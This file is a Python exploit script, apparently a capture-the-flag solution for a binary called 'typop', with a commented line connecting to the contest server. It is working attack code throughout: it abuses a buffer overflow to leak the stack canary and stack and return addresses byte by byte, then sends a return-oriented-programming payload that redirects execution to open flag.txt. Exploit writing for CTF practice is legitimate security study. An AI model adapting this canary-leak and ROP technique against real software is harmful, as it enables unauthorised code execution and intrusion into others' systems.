#!/usr/bin/env python

import sys
import subprocess

EXPLOITED_BUFFER_SIZE = 10
GETFEEDBACK_READ1_SIZE = 30
WIN_FOPEN_OFFSET = -411
RBP_ROP_OFFSET = -532
FLAG_STACK_OFFSET = 0x4a

def attack(cmd, skiplines=0):
    p = subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE,
                         stdout=subprocess.PIPE, close_fds=True)
    print('Started', cmd, 'with pid', p.pid)

    # convenience function for showing output from the subprocess
    def echo(display=True):
        line = p.stdout.readline()
        if display and line:
            sys.stdout.write('server> ')
            sys.stdout.write(line.decode('utf-8'))
            sys.stdout.flush()
        return line

    for _ in range(skiplines):
        echo()

    padding = b'#'*EXPLOITED_BUFFER_SIZE
    leaked_data = b'\x00' # we know the canary always has a leading NUL
    while len(leaked_data) + EXPLOITED_BUFFER_SIZE <= GETFEEDBACK_READ1_SIZE:
        # Do you want to complete a survey?
        echo(False)
        p.stdin.write(b'y\n')
        p.stdin.flush()

        # Do you like ctf?
        echo(False)
        filler = padding + b'#'*len(leaked_data)
        p.stdin.write(filler)
        p.stdin.flush()

        # You said: {filler}{additional_leaked_data}
        data = p.stdout.readline()
        offset = data.find(b'#') + EXPLOITED_BUFFER_SIZE + len(leaked_data)
        leaked_data += data[offset:-1]

        # That's great! Can you provide some feedback?
        echo(False)
        p.stdin.write(padding + leaked_data)
        p.stdin.flush()

        # We know the leaked data terminates with a NUL byte
        leaked_data += b'\x00'

    canary = int.from_bytes(leaked_data[0:8], 'little')
    print("Canary found:", hex(canary))
    stack_address = int.from_bytes(leaked_data[8:16], 'little')
    print("Return stack address found:", hex(stack_address))
    # Note: read doesn't have a large enough size argument for us to always leak
    # enough data, but we assume we leak enough for this to work padded with 0s
    return_address = int.from_bytes(leaked_data[16:24], 'little')
    print("Return address found:", hex(return_address))

    payload = canary.to_bytes(8, 'little')
    payload += stack_address.to_bytes(8, 'little')
    payload += (return_address + RBP_ROP_OFFSET).to_bytes(8, 'little')
    payload += (stack_address + 16 + FLAG_STACK_OFFSET).to_bytes(8, 'little')
    payload += (return_address + WIN_FOPEN_OFFSET).to_bytes(8, 'little')
    # Put the flag path here
    payload += b'flag.txt\x00'

    # Do you want to complete a survey?
    echo()
    p.stdin.write(b'y\n')
    p.stdin.flush()

    # Do you like ctf?
    echo()
    p.stdin.write(b'y\n')
    p.stdin.flush()

    # You said: y
    echo()

    # That's great! Can you provide some feedback?
    echo()
    p.stdin.write(padding + payload)
    p.stdin.flush()

    while not p.poll():
        out = echo()
    print()

if __name__ == '__main__':
    attack('./chall')
    #attack('nc typop.chal.idek.team 1337', skiplines=1)